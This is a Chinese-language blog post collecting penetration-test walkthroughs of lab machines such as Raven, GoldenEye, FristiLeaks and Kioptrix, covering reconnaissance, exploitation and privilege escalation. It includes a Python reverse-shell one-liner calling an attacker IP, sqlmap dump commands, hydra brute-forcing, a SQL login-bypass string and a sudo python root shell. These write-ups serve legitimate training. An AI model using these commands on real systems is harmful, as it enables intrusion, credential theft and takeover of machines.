sosonp's blog

focus on cybersecurity

0%

目标靶机

hackthebox - Grandpa

信息收集

nmap扫描
1.png

80端口运行的是IIS httpd 6.0服务
2.png

查找iis 6.0漏洞,发现一个远程命令执行漏洞
3.png

漏洞利用

metasploit查找利用模块
4.png

设置参数,exploit,getshell成功
5.png

目标靶机

Raven: 2

涉及漏洞

  • Phpmailer RCE
  • MySQL udf提权

信息收集

nmap扫描
1.png

2.png

nikto扫描web服务端口
3.png

Dirbuster目录爆破
4.png

根据wordpress的login链接,指定ip的host为raven.local
5.png
6.png

访问http://raven.local/wordpress/ 如下
7.png

使用Wpscan扫描
8.png
9.png

wpscan发现有个uploads路径 http://raven.local/wordpress/wp-content/uploads/
访问进去发现一个flag3的图片
10.png

根据dirbuster扫描出一个vendor目录,访问有以下文件
11.png

访问PATH发现flag1
12.png

从vendor目录可知系统用了一个叫phpmailer的组件,从http://192.168.3.98/vendor/VERSION 路径猜测5.2.16是其版本号
13.png

漏洞利用

phpmailer rce

查找相关漏洞
14.png

尝试<5.2.18的python版本利用代码40974.py
修改利用代码相关参数
15.png

攻击端起监听端口
16.png

运行漏洞利用文件
17.png

浏览器访问shell.php
18.png

获取反弹shell成功
19.png

下载提权辅助脚本到目标机器运行,提示可能提权的漏洞如下
20.png

尝试了一个内核提权无果,便根据提示尝试mysql udf提权
21.png

MySQL udf提权

下载udf漏洞利用代码,根据说明编译出so文件,然后传到目标机器
22.png

23.png

在wp-config.php获取mysql的连接密码
24.png

使用上面密码连接mysql
25.png

udf提权操作
26.png

27.png

使用加了suid的find命令提权成root,读取flag4
28.png

目标靶机

Raven: 1

涉及漏洞

  • ssh弱口令
  • sudoer提权

信息收集

根据靶机说明,要找到4个flag

Raven is a Beginner/Intermediate boot2root machine. There are four flags to find and two intended ways of getting root. Built with VMware and tested on Virtual Box. Set up to use NAT networking.

nmap扫描
1.png

2.png

3.png

nikto扫描web服务端口
4.png

Dirbuster目录爆破,扫描出wordpress目录
5.png

从80端口的http服务入手
逐个页面浏览源码,其中service.html页面找到第一个flag:

flag1{b9bbcb33e11b80be759c4e844862482d}

6.png

根据目录爆破结果,访问wordpress页面
7.png

使用wpscan扫描用户名:wpscan –url http://192.168.3.48/wordpress/ –max-threads 20 -e u
8.png

发现两个用户名:steven和michael
9.png

尝试用这两个用户名及常见弱口令登陆wordpress后台,无果,于是转向ssh爆破。

ssh爆破

爆破出用户名michael的密码为michael
10.png

使用michael:michael用户名密码登陆
11.png

用户权限较低,此外根据内核版本尝试了几个本地提权均没成功,暂时放弃内核提权
12.png

浏览web站点的目录/var/www/,发现第二个flag
13.png

已知网站用了wordpress,于是查找相关配置文件,在/var/www/html/wordpress/wp-config.php文件找到mysql数据库的用户名密码
14.png

使用配置文件的用户名密码连接数据库
15.png

进入wordpress库
16.png

逐个表浏览,在wp_posts表里面发现最后两个flag:

flag3{afc01ab56b50591e7dccf93122770cd2}
flag4{715dea6c055b9fe3337544932f2941ce}

17.png

查看wp_users表,找到steven用户的哈希密码
18.png

哈希复制出来,利用john破解,得出steven的密码是pink84
19.png

提权

利用steven:pink84用户名密码登陆,发现steven用户可以用python执行root权限命令
20.png

于是使用python执行root shell:
sudo python -c 'import pty;pty.spawn("/bin/bash")'

提权root成功,读取到flag4
21.png

目标靶机

Lampião: 1

涉及漏洞

  • Drupal 7 RCE
  • ssh弱口令
  • 内核漏洞提权

信息收集

nmap扫描
22、80、1898端口开放
1.png
2.png
3.png
4.png

nikto扫描80端口无信息
5.png

根据nmap扫描结果,1898端口也是http服务,使用nikto扫描1898端口
6.png
7.png

发现web是使用drupal 7搭建的,Searchsploit drupal 7的相关漏洞,有几个符合版本的rce漏洞,尝试下图标红的利用代码
8.png

漏洞利用

drupal rce

1. 使用漏洞脚本利用

把利用代码拷贝出来,执行报错
9.png

google得知缺少依赖库,使用下面命令安装依赖库
10.png

执行rb脚本,getshell成功
11.png

2. 使用metasploit

利用metasploit,查找drupal漏洞
12.png

使用编号4的模块,设置参数
13.png

Exploit
14.png

提权

getshell后发现用户是www-data,下面进一步提权成root

查看系统内核版本
15.png

查找漏洞
16.png

尝试了searchsploit列表中几个利用代码均不成功,于是在目标机器上传提权辅助脚本privesc-suggester.sh执行
17.png

有个dirtycow2漏洞提示能用,下载40847.cpp利用代码
18.png

按照说明编译运行
19.png

提权成功
20.png

flag
21.png

目标靶机

GOLDENEYE:1

涉及漏洞

  • POP3 弱口令
  • web命令执行
  • 内核漏洞

信息收集

获取目标机器ip
1.png

端口扫描
25、80、55006、55007端口开放,有smtp、http、pop3应用
2.png
3.png

Nikto scan
发现一个splashAdmin.php页面
4.png

dirbuster扫描路径没发现
5.png

访问80端口页面,提示到/sev-home/页面登陆
6.png

访问弹出一个登陆验证框,尝试一些常用弱口令无法登陆
7.png

访问/splashAdmin.php页面如下
8.png

由nikto扫描信息可知这是个Cobalt Qube 3应用,查找相关漏洞
9.png
10.png

按照漏洞利用方式尝试之后没有创建admin用户,暂时放弃这条路。

回到主页,查看页面源码,发现一个terminal.js
11.png

查看terminal.js代码,发现提示
12.png

根据提示,用户名可能是Boris,密码应该是那段html编码的字符,解码后得到InvincibleHack3r
13.png

回到登陆页面,利用用户名Boris和密码InvincibleHack3r登陆失败,用户名换成小写boris登陆成功
14.png

页面提示让发邮件获取管理员手册,邮件服务使用非标准的高端口pop3协议运行,根据扫描信息,55007端口是pop3应用

使用刚才的web用户名密码登陆失败
15.png

指定用户名,使用hydra爆破pop3密码,字典使用kali自带的fasttrack,爆破出密码是secret1!
16.png

使用telnet连接pop3查看邮件
17.png
18.png

看了3封boris的邮件并没发现太多有用的信息,但提到了natalya和xenia两个用户名

继续尝试对natalya爆破,得到密码是bird
19.png

登陆natalya的邮箱,查看邮件
20.png

第二封邮件发现有价值的信息
21.png

得到用户名/密码:xenia/RCP90rulez!

按照邮件提示配置host:severnaya-station.com
22.png

浏览器访问severnaya-station.com/gnocertdir
23.png

使用用户名/密码:xenia/RCP90rulez!登陆
24.png

登陆后是一个类似于博客的系统,浏览了一遍没发现文件上传、命令执行等漏洞

在一个页面发现另外一个邮箱用户名: doak
25.png

用刚才的方式破解,得到密码goat
26.png

登陆邮箱查看
得到web系统的登陆用户名密码:dr_doak/4England!
27.png

用用户名密码:dr_doak/4England!登陆web系统

浏览到My private files页面发现一个文件
28.png

下载查看如下
29.png

访问 http://severnaya-station.com/dir007key/for-007.jpg
30.png

下载图片,用file命令查看信息,发现一串base64:eFdpbnRlcjE5OTV4IQ==
31.png

解密得到明文:xWinter1995x!
32.png

漏洞利用

getshell(方法1)

结合上面的信息,猜测是admin的密码,使用admin/xWinter1995x! 登陆web系统

浏览配置项,发现一处aspell的路径配置,根据说明,aspell是输入框拼写检查的工具,这里写入一段反弹shell命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.25.158.138",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

33.png

进入到新建博客页面,点击拼写检查按钮触发,但没拿到反弹shell,后续尝试了bash和nc的命令也不行。
34.png

配置页面搜索spell配置,发现一处有spell解析器配置,默认是google的引擎,把这里改成PSpellShell,再次点击拼写检查按钮,这次获取反弹shell成功
35.png

用户是www-data
36.png

getshell(方法2)

37.png
Server - enviroment页面有系统信息,叫moodle,版本是2.2.3
google发现metasploit有漏洞利用模块
38.png

打开metasploit,搜索利用模块
39.png

设置参数
40.png

getshell成功
41.png

提权

系统内核版本是ubuntu 3.13.0-32-generic,且没有gcc
42.png

找到这个提权代码符合版本
43.png

在本地ubuntu机器编译好传过去运行,报错
44.png

根据报错,程序调用了gcc命令,机器上有cc但没有gcc,于是把代码调用了gcc命令的那行替换成cc
45.png

重新上传到目标机器编译运行
46.png

提权成功,读取flag文件
47.png

访问/006-final/xvf7-flag/ 页面如下
48.png

目标靶机

Fristileaks 1.3

涉及漏洞

  • 文件上传绕过
  • dirtycow
  • suid提权

信息收集

nmap扫描
只开放了80端口
1.png

2.png

Nikto扫描:
Apache 2.2.15 php5.3.3
Robots.txt有三个目录:/cola、/sisi、/beer
3.png

dirbuster扫描目录
4.png
没发现太多有价值的页面
5.png

访问web页面如下
6.png

访问robots.txt的目录页面,都是显示下面这个图片
7.png

根据主页的提示语:keep calm and drink fristi,尝试/fristi目录,发现一个登陆页面
8.png

初步尝试admin/admin、root/root等弱口令均无法登陆,尝试sql注入也无果
9.png

查看管理页面源码,比较特别的是网页图片是通过base64方式加载的
10.png

下面发现一串注释的base64
11.png

于是利用浏览器加上data:img/png;base64,访问,下载文件
12.png

打开下载的图片文件,得到以下字符串,猜测是登陆密码
13.png

尝试用上图密码,试了常用的用户名,均无法登陆。
再看回刚才的页面源码,发现以下注释有个eezeepz的名字
14.png

尝试利用用户名eezeepz,密码keKkeKKeKKeKkEkkEk登陆,成功登陆
15.png

点击upload file,是个上传图片的页面,上传一张正常图片测试
16.png
17.png

提示图片上传到/uploads,通过/uploads/nba.jpg可以访问
18.png

漏洞利用

文件上传绕过

下载php反弹shell
19.png

修改连接参数
20.png

kali监听端口
21.png

上传页面上传php反弹shell
22.png

提示只允许图片格式
23.png

把shell文件加上.jpg后缀,再次上传成功
24.png
25.png

在web页面访问
26.png

获取到shell,用户是apache
27.png

提权方式1

查看内核版本是2.6.32
28.png

发现存在dirty cow漏洞
29.png

下载dirty cow利用代码提权
30.png
31.png
执行成功
32.png
tty切为sh之后,成功提权成root权限
33.png
获取flag
34.png

提权方式2

拿到低权限用户后,查看/home目录文件夹如下
35.png

admin目录和fristi目录权限不足,进入eezeepz目录查看notes.txt文件
36.png

根据文件说明,写入命令到/tmp/runthis,给/home/admin赋777权限
37.png

进入/home/admin目录
38.png

查看cryptpass.py的内容可知密码加密的过程
39.png

查看whoisyourgodnow.txt,用户名为fristigod,应该是改用户加密后的密码
40.png

根据加密过程逆向写一个解密的python如下
41.png

把加密密码传入执行,得到LetThereBeFristi!
42.png

把cryptedpass.txt的密文传入执行,得到thisisalsopw123
43.png

使用密码LetThereBeFristi!登陆fristi用户成功
44.png

pwd看路径在/var/fristigod
45.png

查看命令历史
46.png

进入.secret_admin_stuff目录,看到一个带s权限的程序
47.png

直接执行,提示错误用户
48.png

Sudo -l命令查看,用fristi用户执行doCom命令变可以执行root权限的命令
49.png

输入命令sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom su - ,成功切换到root用户
50.png

Flag:
51.png

目标靶机

Kioptrix: 2014 (#5)

涉及漏洞

  • 目录遍历
  • Phptax RCE
  • 内核漏洞

信息收集

nmap扫描
1.png
2.png

访问80端口服务
3.png

查看网页源码,发现一个url地址
4.png

访问地址发现是一个叫pChart2.1.3的工具网站
5.png

查找pChart的漏洞,有个目录遍历漏洞
10.png
11.png
尝试读取/etc/passwd
12.png

访问8080端口服务,返回403
6.png

从之前的收集信息可知web server是apache 2.2.21,操作系统是freebsd,google可知apache的目录如下
13.png
利用目录遍历漏洞读取该配置文件,发现8080端口服务是限制了user-agent访问
14.png

使用burp suite将user-agent请求头改为Mozilla/4.0 Mozilla4_browser,发现index叫phptax
15.png

metasploit发现可利用漏洞
16.png

漏洞利用

phptax漏洞

使用metasploit phptax模块
17.png

设置好ip端口参数
18.png

Getshell
19.png

提权

内核版本是freebsd 9.0
20.png

查找漏洞,有利用代码
21.png

尝试28718.c,目标机器没有wget命令,有ftp命令,使用ftp传输利用代码
kali开启ftp服务端
22.png

目标机器使用anonymous空密码登陆,下载利用代码
23.png
24.png

编译执行,提权成功
25.png

获取root flag
26.png

目标靶机

KIOPTRIX: LEVEL 1.3 (#4)

涉及漏洞

  • SQL注入
  • mysql udf提权
  • dirtycow提权

信息收集

nmap扫描
k4-1.png
k4-2.png
k4-3.png

使用nikto扫描web服务端口
k4-4.png

http目录枚举,发现目录 /john 、 /robert
k4-5.png
k4-6.png
k4-7.png

访问80端口web服务,发现登录页面
k4-8.png
尝试弱口令登陆失败
k4-9.png
password输入admin’,有报错回显,应该存在sql注入
k4-10.png
从上面http目录枚举发现有/john和/robert目录,于是猜测系统存在着两个用户名,在登录页面,用户名使用john,密码使用 ‘ or 1=1 # , 绕过登录,页面直接显示用户名密码
k4-11.png
同样,用户名输入robert,密码注入
k4-12.png

提权

内核漏洞提权

使用用户名john密码MyNameIsJohn登陆ssh成功
k4-13.png
发现是一个十分严格的定制化shell,输了几次不允许的命令会断开连接
k4-14.png
发现可以使用echo命令,利用echo切换到bash shell
k4-15.png
查看系统内核版本,2.6.24-24
k4-16.png
查找内核版本漏洞,dirty cow符合版本
k4-17.png
但目标机器没有gcc
k4-18.png
于是从自己的机器编译后再传过去执行
k4-19.png
k4-20.png
执行dirty提权成功
k4-21.png
获取flag文件
k4-22.png

MySQL udf提权

使用提权辅助脚本linpeas.sh,发现mysql存在udf模块,可以执行函数
k4-23.png
在/var/www/checklogin.php文件中找到mysql登录密码
k4-24.png
登录mysql
k4-25.png
使用sys_exec函数执行命令,对/bin/bash添加suid权限
k4-26.png
使用bash -p提权成功
k4-27.png

目标靶机

KIOPTRIX: LEVEL 1.2 (#3)

根据靶机说明设置hosts
k3-1.png

涉及漏洞

  • LFI(本地文件包含)
  • SQL注入
  • LotusCMS
  • /etc/sudoers提权
  • dirtycow提权

信息收集

nmap扫描
k3-2.png

k3-3.png

nikto扫描web服务端口
k3-4.png

发现phpmyadmin后台
k3-5.png

访问80端口web服务
k3-6.png

访问登录页面,尝试admin:admin弱口令,登录失败
k3-7.png

登录提示框发现使用了框架LotusCMS
k3-8.png

Searchsploit查找漏洞,发现metasploit有利用脚本
k3-9.png

漏洞利用

LotusCMS利用

使用Metasploit查找漏洞利用模块
k3-10.png

k3-11.png

设置rohsts、uri参数
k3-12.png

run exploit. getshell
k3-13.png

SQL注入+本地提权(方法一)

该页面有参数id,加一个单引号访问报错
k3-14.png
k3-15.png

使用sqlmap注入
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid"
k3-16.png

枚举数据库
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -dbs
k3-17.png

枚举gallery库
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -D gallery --tables
k3-18.png

跑dev_accounts表,得到两个账号密码
sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid" -D gallery -T dev_accounts --dump
k3-19.png

使用hydra破解,得出loneferret的密码为starwars
hydra -L users.txt -P /usr/share/wordlists/fasttrack.txt 192.168.3.132 ssh -e nsr -f -t 4
k3-20.png

使用loneferret登录,有个提示文件发现sudo ht命令有特殊权限
k3-21.png

执行sudo ht,报错
k3-22.png

google一番,环境变量问题
k3-23.png
k3-24.png

Sudo ht进入一个编辑器页面
k3-25.png

Sudo -l发现su命令禁用了suid权限,于是用ht编辑器把!符号去掉
k3-26.png

Which su命令看到su实际在/bin/su
k3-27.png

于是进入ht编辑器,修改/etc/sudoers文件如下
k3-28.png
k3-29.png

按F2保存,F10退出
再使用sudo -l 查看权限
k3-30.png

使用sudo su -切换root成功
k3-31.png

本地提权(方法二)

查看内核版本
k3-33.png

查找内核漏洞,dirtycow符合版本
k3-34.png

尝试利用dirty cow提权
下载代码,编译
k3-35.png

运行
k3-36.png

提示需要从终端运行,利用python切换tty并切换root,提权成功
k3-37.png

目标靶机

KIOPTRIX: LEVEL 1.1 (#2)

涉及漏洞

  • SQL注入
  • 命令执行
  • 内核提权

信息收集

端口扫描
k2-1.png

服务识别
k2-2.png

使用nikto扫描Web服务
k2-3.png

漏洞利用

Web服务利用

web主页是个登录界面,初步尝试常用弱口令登录无果
k2-4.png

尝试SQL注入
k2-5.png

注入成功,绕过登录页面进入后台
k2-6.png

看上去是个ping的命令执行页面,尝试输入127.0.0.1
k2-7.png

有结果回显
k2-8.png

尝试使用 ; 截断命令
k2-9.png

可以执行命令
k2-10.png

获取shell

kali攻击端监听端口
k2-11.png

注入反弹shell命令
k2-12.png

Get shell成功,用户是apache
k2-13.png

提权

查看内核版本
k2-14.png

根据内核版本查找漏洞,发现一个版本吻合
k2-15.png

k2-16.png

将利用代码传输到目标机器
k2-17.png

k2-18.png

编译运行,提权成功
k2-19.png